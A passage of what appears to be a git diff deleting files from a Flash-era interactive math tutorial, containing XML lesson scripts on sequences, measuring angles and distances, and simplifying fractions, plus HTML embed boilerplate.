correct="a" dPop="That's not correct. You're on the right track, but you need to find the previous number in the sequence, not the next number." dText="23" text="5) What is the previous number in the sequence?"/><next branch="false" value="e11"/></seg><seg id="e11" templateId="" url=""><args text="We haven't looked at a question exactly like this yet. First, determine the difference between each sequential pair. It's 3. Since we are finding the previous number in the sequence, you subtract 3 from 11 to find 8."/><next branch="false" value="e12"/></seg><seg id="e12" templateId="" url=""><args aPop="That's not correct. Is this an adding or multiplying pattern?" aText="24 cells" bPop="That is not correct. We're looking for the 6th replication, not the 5th." bText="32 cells" cPop="That's correct!" cText="64 cells" correct="c" dPop="That is not correct. We're looking for the 6th replication, not the 7th." dText="128 cells" text="6) All living organisms begin life from a single cell. That cell replicates until the organism is fully grown. Suppose each of these cells replicates at the same regular interval. How many cells should there be after six replications?"/><next branch="false" value="e13"/></seg><seg id="e13" templateId="" url=""><args text="Notice that the common way to get from one number in the sequence to the next is to multiply by 2. Then, you simply keep multiplying by 2 until you find the number at the 6th replication: 64."/><next branch="false" value="e14"/></seg><seg id="e14" templateId="" url=""><args answer="3700" correct="That's right." incorrect="That's not correct. Is there a pattern within the pattern? Remember to find the 6th number in the sequence, not the 5th." text="7) What is the 6th number in the sequence?"/><next branch="false" value="e15"/></seg><seg id="e15" templateId="" url=""><args text="First, notice how you add 50 to the first number to get the second, add 100 to get the third, and add 200 to get the fourth. There's a pattern within the pattern: the amount you add to each number doubles. So, you add 400 to get 2900 and add 800 to get 3700 to find the sixth number in the sequence."/><next branch="false" value="e16"/></seg><seg id="e16" templateId="" url=""><args aPop="That is not correct. To determine the half-life, find the difference between each sequential pair of years. Then, add that amount to 2003." aText="2004" bPop="That is not correct. To determine the half-life, find the difference between each sequential pair of years. Then add that amount to 2003." bText="2014" cPop="That's correct!" cText="2017" correct="c" dPop="That is not correct. To determine the half-life, find the difference between each sequential pair of years. Then add that amount to 2003." dText="2031" text="8) A radioactive material's half-life is the time it takes for half of its atoms to decay. Depending on the material, half-lives can range from seconds to millions of years. This particular radioactive material was created in 1961 and its half-life has been recorded since. When will half of its atoms have decayed next?"/><next branch="false" value="e17"/></seg><seg id="e17" templateId="" url=""><args text="First, notice that the half-life for this material is 14 years. So you simply add 14 to 2003 to find the date of the next half-life: 2017."/><next branch="false" value="e18"/></seg><seg id="e18" templateId="" url=""><args answer="96" correct="That's right!" incorrect="That's not correct. Did you double-check that the pattern you found works through the whole sequence?" text="9) What is the 3rd number in the sequence?"/><next branch="false" value="e19"/></seg><seg id="e19" templateId="" url=""><args text="First, notice the two ways you can get the second number from the first. There's also two ways to get the fifth number from the fourth. The relationship those two pairs of numbers share is multiplying by 4. So, multiply the 24 by 4 to find the missing number, which is 96."/><next branch="false" value="e20"/></seg><seg id="e20" templateId="" url=""><args aPop="That's not correct. Thirteen scoops will make a little more than four quarts of juice." aText="13 scoops" bPop="That's not correct. Fifteen scoops will make five quarts, not seven." bText="15 scoops" cPop="That's not correct. Eighteen scoops will make six quarts of juice, not seven." cText="18 scoops" correct="d" dPop="That's correct." dText="21 scoops" text="10) Using the table to the left, how many scoops of Kool-Juice powder will you need to make seven quarts of Kool-Juice?"/><next branch="false" value="e21"/></seg><seg id="e21" templateId="" url=""><args text="First notice that you must use 3 scoops for every new quart. So you keep adding 3 scoops to 12 until you have enough powder to make 7 quarts of Kool-Juice."/><next branch="false" value="e22"/></seg><seg id="e22" templateId="" url=""><args text="Congratulations! You've completed the Patterns and Sequences module!"/><next branch="false" value=""/></seg></clip><clip id="clip2" title="title2"/><clip id="clip3" title="title3"/><clip id="clip4" title="title4"/><clip id="clip5" title="title5"/></section></chapter></chapters></app>
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-				'<PARAM NAME="MENU" VALUE="false"> ' +
-				'<EMBED '+
-					'SRC="ile.swf' + location.search + '" ' +
-					'WIDTH="'+customArgs.width+'" ' +
-					'HEIGHT="'+customArgs.height+'" ' +
-					'PLAY="true" ' +
-					'LOOP="false" ' +
-					'QUALITY="high" ' +
-					'SCALE="showall" ' +
-					'TYPE="application/x-shockwave-flash" ' +
-					'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" ' +
-					'MENU="false" ' +
-				'></EMBED>' +
-			'</OBJECT>';
-		document.write(embedText);
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-					<td><P>The application should be open in a new window. If it isn't you may be using a popup blocker.  Disable the popup blocker and try again or <A HREF="javascript:location.href='movie.html'+location.search">open the application in this window</A>.</p></td>
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-					<td><img src="http://enspire.com/images/dark_blue_pixel.gif" width="535" height="1"></td>
-				</tr>
-				<tr>
-					<td><P>If you have any technical problems, please contact <A HREF="mailto:support@enspire.com">support@enspire.com</A></P></td>
-				</tr>
-			</table>
-		</td>
-	</tr>
-	<tr>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="1" height="1"></td>
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-		<td bgcolor="#EEEEEE" valign="top">
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-					<td colspan="2"><P>You don't have the latest version of Macromedia Flash Player.</p>
-					<P>This web site makes use of <A HREF="http://www.macromedia.com/software/flash/" TARGET="_new">Macromedia Flash</A> software.
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-					<br><A HREF="http://www.macromedia.com/go/getflashplayer">Install the latest version now.</A></td>
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-				<tr>
-					<td><p>If you are using Internet Explorer on a Windows PC, the installation may silently fail if you do not have administrator privileges for your machine.
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-				</tr>
-				<tr>
-					<td colspan="2"><P>If you have any technical problems, please contact <A HREF="mailto:support@enspire.com">support@enspire.com</A></P></td>
-				</tr>
-			</table>
-		</td>
-	</tr>
-	<tr>
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-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="protractor" startSegId="s0" title="Measuring Angles" url="protractor.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="We measure &amp;#8212; distances &amp;#8212; and angles all the time - when we ride our bikes, throw a baseball, or even walk through a doorway. &amp;#8212;"/><next branch="false" value="s2"/></seg><seg id="s2" templateId="" url=""><args text="Our brains automatically make measurements to answer questions like &quot;How high do I have to aim to throw the ball to third base?&quot; or &quot;Will my handlebars fit between those posts?&quot;"/><next branch="false" value="s3"/></seg><seg id="s3" templateId="" url=""><args text="Your brain can take care of most of life's measurement tasks without you having to worry about them too much. So why do we need rulers and other measurement tools?"/><next branch="false" value="s4"/></seg><seg id="s4" templateId="" url=""><args text="We use measurement tools when we want to communicate with other people. For instance, how would you explain to your German penpal how to set up a baseball field? "/><next branch="false" value="s5"/></seg><seg id="s5" templateId="" url=""><args text="You need to tell her how far to separate the bases, and at what angles to set up the baselines."/><next branch="false" value="s6"/></seg><seg id="s6" templateId="" url=""><args text="That's when we need things like rulers, protractors, and scale drawings. In this module, we'll learn how to measure angles using a protractor."/><next branch="false" value="s7"/></seg><seg id="s7" templateId="" url=""><args text="Before we start, let's look at a problem you might see on a criterion-based test. Can you see the angles you'll need to measure to answer this problem?"/><next branch="false" value="s8"/></seg><seg id="s8" templateId="" url=""><args text="In a moment, we'll return to this criterion-based test problem and solve it. Right now, we've got important business at an altitude of 20,000 feet."/><next branch="false" value="s9"/></seg><seg id="s9" templateId="" url=""><args text="Suppose you're piloting a passenger jet. You notice a strange object hovering in the sky a few miles ahead and to your left."/><next branch="false" value="s10"/></seg><seg id="s10" templateId="" url=""><args text="You radio in to a control tower to report an unidentified flying object. The air traffic controller knows your location, but can't see the UFO. How can you report the UFO's location to air traffic control?  Is the distance from the plane to the UFO the only piece of information you'll need to give?"/><next branch="false" value="p2"/></seg><seg id="p2" templateId="" url=""><args text="Think about it. If you only knew the UFO's distance, it could be anywhere in a circle all around your plane. You need to know what direction the UFO is in, too."/><next branch="false" value="p3"/></seg><seg id="p3" templateId="" url=""><args text="We need to find the angle of the UFO with respect to the direction our plane is flying. If we tell the control tower the distance of the UFO and its angle, the controllers will be able to pinpoint its location."/><next branch="false" value="p0"/></seg><seg id="p0" templateId="" url=""><args title="Measuring Angles"/><next branch="false" value="p4"/></seg><seg id="p4" templateId="" url=""><args text="Let's review the basics of angles. Look at two crossing lines. Angles are made up of two lines that meet at a single point.  The point where they meet is called a vertex."/><next branch="false" value="p5"/></seg><seg id="p5" templateId="" url=""><args text="Angles measure the amount of rotation between two lines whose ends meet.  The angle between two lines tells you how far one of the lines has turned around their meeting point."/><next branch="false" value="p6"/></seg><seg id="p6" templateId="" url=""><args text="Angles are measured in degrees. A full rotation of an angle is divided into 360 degrees."/><next branch="false" value="p7"/></seg><seg id="p7" templateId="" url=""><args text="A half rotation, called a straight angle, measures 180 degrees."/><next branch="false" value="p8"/></seg><seg id="p8" templateId="" url=""><args text="A quarter rotation, called a right angle, measures 90 degrees."/><next branch="false" value="p9"/></seg><seg id="p9" templateId="" url=""><args text="Acute angles measure less than 90 degrees.  Obtuse angles measure between 90 and 180 degrees."/><next branch="false" value="p10"/></seg><seg id="p10" templateId="" url=""><args text="Use the mouse to rotate the red line around the vertex. Read the angle between the two lines above."/><next branch="false" value="p11"/></seg><seg id="p11" templateId="" url=""><args text="So how do we measure an angle? Meet the Interactive Protractor. You can move and rotate this tool by clicking and dragging it with your mouse. Try it out."/><next branch="false" value="p12"/></seg><seg id="p12" templateId="" url=""><args text="Now let's measure an angle. First, line up the flat side of the protractor with the black line."/><next branch="false" value="p13"/></seg><seg id="p13" templateId="" url=""><args text="Then, slide the protractor along the black line until the center of the protractor is on top of the vertex of the angle."/><next branch="false" value="p14"/></seg><seg id="p14" templateId="" url=""><args correct="Very good.  The angle is 30 degrees." high="30.5" incorrect="That's not exactly right. Make sure you've aligned the protractor correctly. Are you counting the degrees from the correct side?" low="29.5" text="Now you can read off the angle on the arc of the protractor. Enter the measurement in the box above."/><next branch="false" value="p15"/></seg><seg id="p15" templateId="" url=""><args correct="That's it.  The angle is 120 degrees." high="120.5" incorrect="You're close, but try again! For this problem, you'll need to rotate the protractor." low="119.5" text="Correct. What is the measure of this angle? Enter your answer above."/><next branch="false" value="p16"/></seg><seg id="p16" templateId="" url=""><args text="First, rotate the protractor to line up its flat side with the black line of the angle.  "/><next branch="false" value="p17"/></seg><seg id="p17" templateId="" url=""><args text="Then, align the center of the protractor with the vertex of the angle and count the degrees between the two lines.  "/><next branch="false" value="p18"/></seg><seg id="p18" templateId="" url=""><args correct="Well done!  The angle to the UFO is 50 degrees." high="50.5" incorrect="That's not it. Ask yourself: which two lines am I comparing?" low="49.5" text="Now let's get back to the UFO problem. With your Interactive Protractor, measure the number of degrees between the UFO and your flight path. Enter the answer above."/><next branch="false" value="p19"/></seg><seg id="p19" templateId="" url=""><args text="To solve this problem, we need to figure out which two lines form the angle we must measure. The first line is the direction line of your flight. "/><next branch="false" value="p20"/></seg><seg id="p20" templateId="" url=""><args text="The second line is the line from your plane to the UFO. The angle between those two lines is 50 degrees."/><next branch="false" value="p21"/></seg><seg id="p21" templateId="" url=""><args text="With both the distance and the angle, the air traffic controller can accurately locate the UFO. Now let's take what we've learned about measuring angles and apply it to the criterion-based test problem. "/><next branch="false" value="p26"/></seg><seg id="p26" templateId="" url=""><args correct="Very good!  The angle to the ranger station is 48 degrees." high="48.5" incorrect="That is not the correct answer. Think back to measuring the angle of the UFO." low="47.5" text=" If Sean had decided to cut through the brush, approximately how many degrees west of north might he have needed to travel in order to reach the ranger station? Use the protractor and enter your answer in the box above."/><next branch="false" value="p27"/></seg><seg id="p27" templateId="" url=""><args text="First, you need to determine the angle that you're measuring.  Since we're measuring the angle &quot;west of north,&quot;  we need one line going north and one connecting Sean and the ranger station."/><next branch="false" value="p28"/></seg><seg id="p28" templateId="" url=""><args text="Then we rotate our protractor to align the base with one of the sides of the angle."/><next branch="false" value="p29"/></seg><seg id="p29" templateId="" url=""><args text="Next we place the center of the protractor over the vertex of the angle."/><next branch="false" value="p30"/></seg><seg id="p30" templateId="" url=""><args text="Lastly, we count the degrees in the angle."/><next branch="false" value="p31"/></seg><seg id="p31" templateId="" url=""><args text="If you can answer the questions in this tutorial, you should be able to answer the measurement questions on the criterion-based test."/><next branch="false" value="p32"/></seg><seg id="p32" templateId="" url=""><args title="Review"/><next branch="false" value="p35"/></seg><seg id="p35" templateId="" url=""><args text="When measuring an angle, use a protractor. Place the flat side of the protractor next to the first line of the angle. Align the center of the protractor with the vertex of the angle. Then read the degree of the angle from the arc of the protractor."/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e1"/></seg><seg id="e1" templateId="" url=""><args text="In the following five exercises, we'll practice measuring angles.  After each question, the answer will be explained.  Are you ready?"/><next branch="false" value="e2"/></seg><seg id="e2" templateId="" url=""><args correct="Good start!  The angle is 75 degrees." high="75.5" incorrect="That's not correct. Take care to line up the vertex with the middle of the protractor." low="74.5" text="1) How large is the angle?  Enter your answer in the box above."/><next branch="false" value="e3"/></seg><seg id="e3" templateId="" url=""><args text="First line up the base of the protractor with a line of the angle.  Then, place the center of the protractor over the vertex of the angle and measure the angle.  "/><next branch="false" value="e8"/></seg><seg id="e8" templateId="" url=""><args aPop="That's not the correct answer. Be sure you're using the Interactive Protractor correctly." aText="54 degrees" bPop="Good job!" bText="57 degrees" cPop="That's not the correct answer. You need to find the smallest angle." cText="59 degrees" correct="b" dPop="That's not the correct answer. You need to find the smallest angle." dText="64 degrees" text="2) What is the size of the smallest angle in this triangle?"/><next branch="false" value="e9"/></seg><seg id="e9" templateId="" url=""><args text="It's too difficult to guess the smallest angle, so we need to measure each one.  Align your protractor correctly and compare the size of each angle. "/><next branch="false" value="e13"/></seg><seg id="e13" templateId="" url=""><args aPop="That's right. The slide is safe." aText="Yes" bPop="That's not correct. The slide is safe. Try measuring again." bText="No" cPop="That's not correct. You can use the protractor to measure the angle of the slide." cText="The answer cannot be determined from the information given." correct="a" text="3) You've just helped build a playground slide for your younger sister.  The instructions say that to be safe, the angle of the slide should be no more than 40 degrees.  Is the slide safe? "/><next branch="false" value="e14"/></seg><seg id="e14" templateId="" url=""><args text="Measure the angle made between the ground and the slide.  It's 35 degrees.  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What's the difference between the angle you're measuring and a 90-degree angle?" bText="75 degrees." cPop="That's not the correct answer. What's the difference between the angle you're measuring and a 90-degree angle?" cText="60 degrees" correct="d" dPop="Good job!" dText="15 degrees." text="5) You've found an old softball field in the local park.  However, whoever built it didn't do a good job.  The baselines should form right angles.  How many degrees is the angle at home plate off from 90 degrees?"/><next branch="false" value="e20"/></seg><seg id="e20" templateId="" url=""><args text="First measure the angle on the diagram.  Then, to find the difference between the measured angle and 90 degrees, subtract 75 from 90."/><next branch="false" value="e25"/></seg><seg id="e25" templateId="" url=""><args text="Congratulations!  You've completed the Measuring Angles module!"/><next branch="false" value=""/></seg></clip></section></chapter></chapters></app>
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-					<td><P>If you have any technical problems, please contact <A HREF="mailto:support@enspire.com">support@enspire.com</A></P></td>
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deleted file mode 100755
index 40748e1..0000000
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-<?xml version="1.0" ?>
-<app appVer="1.0" id="enspire">
-	<mode bandwidth="low" connection="offline"/>
-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="ruler" startSegId="s0" title="Measuring Distances" url="ruler.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="We measure distances and angles all the time - when we ride our bikes, throw a baseball, or even walk through a doorway. "/><next branch="false" value="s2"/></seg><seg id="s2" templateId="" url=""><args text="Our brains automatically make measurements to answer questions like &quot;How high do I have to aim to throw the ball to third base?&quot; or &quot;Will my handlebars fit between those posts?&quot;"/><next branch="false" value="s3"/></seg><seg id="s3" templateId="" url=""><args text="Your brain can take care of most of life's measurement tasks without you having to worry about them too much. So why do we need rulers and other measurement tools?"/><next branch="false" value="s7"/></seg><seg id="s7" templateId="" url=""><args text="We use measurement tools when we want to communicate with other people. Here's a problem about using maps which you might see on a criterion-based test. You'll need maps in real life to get from place to place and give directions to others."/><next branch="false" value="s8"/></seg><seg id="s8" templateId="" url=""><args text="In a moment, we'll return to this criterion-based test problem and solve it. Right now, we've got important business at an altitude of 20,000 feet."/><next branch="false" value="s9"/></seg><seg id="s9" templateId="" url=""><args text="Suppose you're piloting a passenger jet. You notice a strange object hovering in the sky a few miles ahead and to your left."/><next branch="false" value="s10"/></seg><seg id="s10" templateId="" url=""><args text="You radio in to the closest control tower to report an unidentified flying object. The air traffic controller knows where your plane is, but can't see the UFO. How can you report the location of the UFO to air traffic control?"/><next branch="false" value="r0"/></seg><seg id="r0" templateId="" url=""><args title="Measuring Distances"/><next branch="false" value="r1"/></seg><seg id="r1" templateId="" url=""><args text="Let's first look at the distance between your plane and the UFO. To measure distance in this tutorial, you'll need the Interactive Ruler. Take a moment and try moving and rotating it by clicking and dragging with your mouse."/><next branch="false" value="r2"/></seg><seg id="r2" templateId="" url=""><args correct="Good job! The correct answer is 9 centimeters." high="9.1" incorrect="No, that's not it. Line up point A exactly with the zero hash mark on your ruler and make sure you're counting correctly." low="8.9" text="Now let's practice measuring a few things. We'll start simple. Measure the distance from point A to point B in centimeters and enter your answer in the field above."/><next branch="false" value="r3"/></seg><seg id="r3" templateId="" url=""><args text="When using a ruler, remember to line up the 0 hash mark on the ruler with the edge of the distance you're measuring. Why do we measure from the 0 hash mark, and not simply from the edge of the ruler? "/><next branch="false" value="r4"/></seg><seg id="r4" templateId="" url=""><args text="Over time, the corners of the ruler are likely to get scuffed up. It's hard to make precise measurements with a worn-down corner. That's why we measure from a point on the ruler that won't be ruined by normal wear and tear. "/><next branch="false" value="r5"/></seg><seg id="r5" templateId="" url=""><args correct="Excellent.  The answer is 14 centimeters." high="14.1" incorrect="Nope. Make sure you measure from the zero hash mark, not the edge of the ruler." low="13.9" text="Now let's measure something you probably use every day. Enter the length of the pencil into the box above in centimeters."/><next branch="false" value="r6"/></seg><seg id="r6" templateId="" url=""><args aPop="Whoa. That's pretty darn close. If the UFO were 4 centimeters away, you'd have no way to avoid a collision." aText="4 centimeters" bPop="4 miles, you say? But you can't say that for certain, can you?" bText="4 miles" cPop="40 miles, you say? You can't say that for certain, can you?" cText="40 miles" correct="d" dPop="You're right! You can use the ruler to measure the distance of the blip on the radar screen to your plane. But obviously the real UFO is farther than 4 centimeters away. You need to know the scale of the radar screen to figure out how far away the UFO actually is." dText="I need more information to answer this question." text="Back to that UFO: Use your Interactive Ruler to measure the distance from your plane to the UFO."/><next branch="false" value="r7"/></seg><seg id="r7" templateId="" url=""><args aPop="Hmmm. Remember, we're talking about how far away the UFO actually is from the plane." aText="4 centimeters" bPop="That's right." bText="2 miles" cPop="That's not correct. Think about it: 2 centimeters on the radar screen corresponds to 1 mile in the real world." cText="4 miles" correct="b" dPop="That's not correct. Think about it: 2 centimeters on the radar screen corresponds to 1 mile in the real world." dText="20 miles" text="The radar screen is a scale drawing of the real world. We need to translate from the centimeter measurements on the screen to the mile measurements of real life. If the scale is 2 centimeters : 1 mile, how far away from the plane is the UFO? "/><next branch="false" value="r8"/></seg><seg id="r8" templateId="" url=""><args text="To find the real distance, we can use a proportion. If 2 centimeters on the radar screen is 1 mile in the real world, then 4 centimeters on the radar screen is 2 miles in the real world."/><next branch="false" value="r9"/></seg><seg id="r9" templateId="" url=""><args aPop="Nope. Don't forget to use the scale." aText="26 centimeters" bPop="A bit too low. Measure every path the band marches from start to finish." bText="130 feet" cPop="Not quite. Follow the path closely and measure each side." cText="260 feet" correct="d" dPop="Correct." dText="520 feet" text="Let's try a more difficult example. Your band director wants to have the band march around the school for a pep rally and he wants you to find out how far the march will be. The scale is 1 centimeter : 20 feet. How far is the march?"/><next branch="false" value="r10"/></seg><seg id="r10" templateId="" url=""><args text="First, measure each side of the diagram of the school. The sides are 6 centimeters, 7 centimeters, 6 centimeters, and 7 centimeters.  "/><next branch="false" value="r11"/></seg><seg id="r11" templateId="" url=""><args text="Then add all four sides together to get the perimeter of the diagram of the school. That's a total of 26 centimeters."/><next branch="false" value="r12"/></seg><seg id="r12" templateId="" url=""><args text="Next, use the scale to find the actual perimeter of the school. If 1 centimeter on the diagram corresponds to 20 feet in the real world, then 26 centimeters on the diagram correspond to 520 feet in the real world. For bonus points, how would you find the area of the school grounds?"/><next branch="false" value="r13"/></seg><seg id="r13" templateId="" url=""><args text="To find the area of a rectangle, we multiply the length (l) by the width (w)."/><next branch="false" value="r14"/></seg><seg id="r14" templateId="" url=""><args text="With a diagram or map, we just measure the width and length, convert the measurements using the scale, and then multiply them together to find the area."/><next branch="false" value="p22"/></seg><seg id="p22" templateId="" url=""><args correct="That's it!  The distance is about 5.5 miles." high="5.6" incorrect="Not quite. Remember measuring the length of the band march? This question is very similar. Don't forget to use the scale, either." low="5.4" text="Let's take another look at the criterion-based test question.  Using the scale, measure the distance to the station if Sean takes the path heading east to the river and then follows the path to the ranger station. Enter your answer in the box above in miles."/><next branch="false" value="p24"/></seg><seg id="p24" templateId="" url=""><args text="Using your ruler, measure each line the path makes and add them together."/><next branch="false" value="p25"/></seg><seg id="p25" templateId="" url=""><args text="Finally, use the scale that explains that 1 centimeter on the map corresponds to 0.5 miles in the real world. In other words, 11 centimeters on the map corresponds to 5.5 miles.  "/><next branch="false" value="p32"/></seg><seg id="p32" templateId="" url=""><args title="Review"/><next branch="false" value="p33"/></seg><seg id="p33" templateId="" url=""><args text="Use a ruler to measure distance. Align the zero hash mark with the edge of the object being measured."/><next branch="false" value="p34"/></seg><seg id="p34" templateId="" url=""><args text="When we're using a scale drawing like a map or a diagram, we have to convert the measured distance into the actual distance. Use the scaling factor provided on the map or diagram."/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e1"/></seg><seg id="e1" templateId="" url=""><args text="In the following exercises, we'll practice using rulers and scale to measure distances. After each question, the answer will be explained. Are you ready?"/><next branch="false" value="e4"/></seg><seg id="e4" templateId="" url=""><args correct="Very good!  The distance from P to Q is 7 centimeters." high="7.1" incorrect="That's incorrect.  Be sure to start from the zero hash mark." low="6.9" text="1) Measure the distance from point P to point Q in centimeters. Enter your answer in the box above."/><next branch="false" value="e5"/></seg><seg id="e5" templateId="" url=""><args text="Rotate the ruler to line up the 0 hash mark with point P and measure the distance."/><next branch="false" value="e6"/></seg><seg id="e6" templateId="" url=""><args correct="That's it.  The red side is 5.5 centimeters long." high="5.6" incorrect="Sorry, no.  Are you measuring the red side of the triangle?" low="5.4" text="2) Measure the length of the red side of the triangle.  In the box above, give the answer in centimeters."/><next branch="false" value="e7"/></seg><seg id="e7" templateId="" url=""><args text="Line up your ruler along the red line of the triangle to measure the distance."/><next branch="false" value="e10"/></seg><seg id="e10" templateId="" url=""><args correct="Great! The distance is 9 feet." high="9.3" incorrect="Sorry, that's not it." low="8.7" text="3) The diagram above displays the layout of a living room. Measure the distance from the bookshelf to the fireplace. In the box above, give the answer in feet. "/><next branch="false" value="e11"/></seg><seg id="e11" templateId="" url=""><args text="First, line up the 0 hash mark with the edge of the bookshelf and find the distance to the fireplace to be 3 centimeters.  "/><next branch="false" value="e12"/></seg><seg id="e12" templateId="" url=""><args text="Then, use the scale to convert your measurement into actual distance.  Since 1 cm equals 3 feet, then 3 cm equal 9 feet. On to the next question."/><next branch="false" value="e17"/></seg><seg id="e17" templateId="" url=""><args correct="Very good.  The perimeter is 23 centimeters long." high="23.2" incorrect="Try again." low="22.8" text="4) What is the perimeter of trapezoid PCMA?  Enter the answer in the box above."/><next branch="false" value="e18"/></seg><seg id="e18" templateId="" url=""><args text="The perimeter is the length of all sides added together.  Rotate your ruler to measure each side of the trapezoid.  Then, find the sum of the lengths.  "/><next branch="false" value="e21"/></seg><seg id="e21" templateId="" url=""><args aPop="That's not correct.  Measure the difference between the actual distance and the regulation distance." aText="50 feet" bPop="Close, but that's not correct.   Measure carefully." bText="10 feet" cPop="That's right!" cText="6 feet" correct="c" dPop="That's not correct.  Be sure to use the scale." dText="1 foot" text="5) The regulation distance from home plate to the pitcher's mound should be 43 feet. By how many feet does the park's softball field differ from regulation distance?"/><next branch="false" value="e22"/></seg><seg id="e22" templateId="" url=""><args text="First, measure the distance between the pitcher's mound and home plate in centimeters. The distance is 7 centimeters."/><next branch="false" value="e23"/></seg><seg id="e23" templateId="" url=""><args text="Then convert that measurement with the scale. If 1 centimeter corresponds to 7 feet, then 7 centimeters correspond to 49 feet.  "/><next branch="false" value="e24"/></seg><seg id="e24" templateId="" url=""><args text="The difference between the regulation distance of 43 feet and the actual distance of 49 feet is 6 feet."/><next branch="false" value="e25"/></seg><seg id="e25" templateId="" url=""><args text="Congratulations!  You've completed the Measuring Distances module!"/><next branch="false" value=""/></seg></clip></section></chapter></chapters></app>
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-					'SCALE="showall" ' +
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-<chapters><chapter id="ch1" title=""><section id="sect1" title=""><clip id="simplifying" startSegId="s0" title="Simplifying Fractions" url="simplifying.swf"><seg id="s0" templateId="" url=""><args title="Introduction"/><next branch="false" value="s1"/></seg><seg id="s1" templateId="" url=""><args text="Sometimes you probably think in fractions without even realizing it, like when you count change, read a survey, or divide a pizza among friends.  They're everywhere!  Even so, a lot of people are terrified of fractions."/><next branch="false" value="s2"/></seg><seg id="s2" templateId="" url=""><args text="If you've ever made cookies, you probably had to use fractions when you measured the ingredients.  And if you've ever played an instrument, you might have used fractions there, too.  Sweets and music!  We've got two excellent reasons to make friends with fractions, right?"/><next branch="false" value="s3"/></seg><seg id="s3" templateId="" url=""><args text="This module focuses on writing fractions in the simplest possible way. If you're familiar with adding and subtracting fractions, let's make some music and use fractions to explain why rock and jazz rhythms sound so different from straight marches.  Are you ready?"/><next branch="false" value="s5"/></seg><seg id="s5" templateId="" url=""><args title="Music with Fractions"/><next branch="false" value="s31"/></seg><seg id="s31" templateId="" url=""><args text="Ready to make some music?  Musical notes are named for what fraction of a measure they take up.  Whole notes are a whole measure.  Half notes are half as long as whole notes.  Quarter notes are each a quarter of a measure.  We'll also be using eighth and sixteenth notes."/><next branch="false" value="s32"/></seg><seg id="s32" templateId="" url=""><args text="So, a measure could be made up of four quarter notes, eight eighth notes, sixteen sixteenth notes-- check it out!  If you put the number of notes on top and the kind of note in the denominator, all of these are peacemaker fractions!"/><next branch="false" value="s33"/></seg><seg id="s33" templateId="" url=""><args text="You can also make a measure out of a mixture of notes.  For example, two quarter notes and four eighth notes make a full measure.  Two eighth notes last the same amount of time as a quarter note.  "/><next branch="false" value="s34"/></seg><seg id="s34" templateId="" url=""><args text="Four sixteenth notes equal a quarter note, too. We can group the four sixteenths in different ways -- a little line underneath the notes means that they're joined together.  Each of these groups is as long as a quarter note.  Click &quot;Play&quot; to hear how each group sounds."/><next branch="false" value="s35"/></seg><seg id="s35" templateId="" url=""><args text="Try making your own measure.  The notes at the top of the screen are grouped into quarters already.  You can drag them into the measure.  When you're done, click the &quot;Play&quot; button to hear it."/><next branch="false" value="s36"/></seg><seg id="s36" templateId="" url=""><args text="Jazz rhythms sound jazzy because the notes aren't divided evenly.  Pure quarter notes sound straight and even.  Three sixteenth notes together and then one alone sound more lively and spicy, don't you think?"/><next branch="false" value="s36a"/></seg><seg id="s36a" templateId="" url=""><args title="Fractions Greater Than One"/><next branch="false" value="s37"/></seg><seg id="s37" templateId="" url=""><args text="Let's turn our thoughts in a new direction.  What if you had 5 quarter notes?  That would be one quarter note more than a full measure.  So how many measures would 14 quarter notes take up?"/><next branch="false" value="s38"/></seg><seg id="s38" templateId="" url=""><args text="To find out, we need to find a multiple of 4 that's as close to 14 as possible.  12 quarter notes would be 3 measures.  16 quarter notes would be 4 measures, so 14 quarter notes is right in between: it's 3 and a half measures."/><next branch="false" value="s40"/></seg><seg id="s40" templateId="" url=""><args aPop="Try again!  Hint: 32 eighths would be 4 wholes." aText="30 and 1/8" bPop="Try again!  Hint: 32 eighths would be 4 wholes." bText="7 wholes and 1/8" cPop="You're so close!  Hint: 32 eighths would be 4 wholes." cText="4 wholes" correct="d" dPop="That's correct!" dText="3 wholes and 7/8" text="You can use the same technique whether you're talking about musical notes or other fractions, so let's practice this again. Find out how many wholes are in 31/8."/><next branch="false" value="s40a"/></seg><seg id="s40a" templateId="" url=""><args title="Reducing Fractions"/><next branch="false" value="s41"/></seg><seg id="s41" templateId="" url=""><args text="Another way to make fractions easier to read is to &quot;reduce&quot; them.  What happens when 1/3 and 1/6 are joined together?  At first, they were called 3/6, but when we factored out the peacemaker 3/3, they were one half."/><next branch="false" value="s42"/></seg><seg id="s42" templateId="" url=""><args text="As you can see, 1/2 can go by many other names. Notice that for each alias, the bottom number is still exactly double the top number."/><next branch="false" value="s43"/></seg><seg id="s43" templateId="" url=""><args text="Actually, each of these aliases of 1/2 is 1/2 multiplied by a peacemaker. "/><next branch="false" value="s44"/></seg><seg id="s44" templateId="" url=""><args text="Suppose Granny is serving pie to 4 visitors. She wants each person to get the same amount of pie, and she wants them to eat the whole pie."/><next branch="false" value="s45"/></seg><seg id="s45" templateId="" url=""><args text="The easiest way would be to cut the pie into four pieces: fourths. But she could also cut it into eighths and give each person two, or twelfths and give each person three. "/><next branch="false" value="s46"/></seg><seg id="s46" templateId="" url=""><args text="Reducing fractions works the same way. It's cutting things into as few pieces as possible. If you find a fraction that has common factors in the numerator and denominator, you can cancel out those common factors without changing the value of the fraction."/><next branch="false" value="s47"/></seg><seg id="s47" templateId="" url=""><args text="Let's look at 12/24. Here are the prime factors of 12 and 24.  When we cancel out all the common factors, we're left with 1/2.  We say that 1/2 is the reduced form of 12/24.  Notice that 4/8 also equals 12/24 and 1/2, but it's not the reduced form because 4 and 8 still have a factor of 4 in common."/><next branch="false" value="s47a"/></seg><seg id="s47a" templateId="" url=""><args aPop="That's correct! You cancelled out all of the common factors. Excellent work." aText="2/3" bPop="Check that you have only cancelled out common factors." bText="3/4" cPop="Good work, but you can cancel out even more common factors." cText="8/12" correct="a" dPop="Good work, but you can cancel out even more common factors. Try again." dText="14/21" text="What is the reduced form of 56/84? Cancel out all of the factors the numerator and denominator have in common.  What's left?"/><next branch="false" 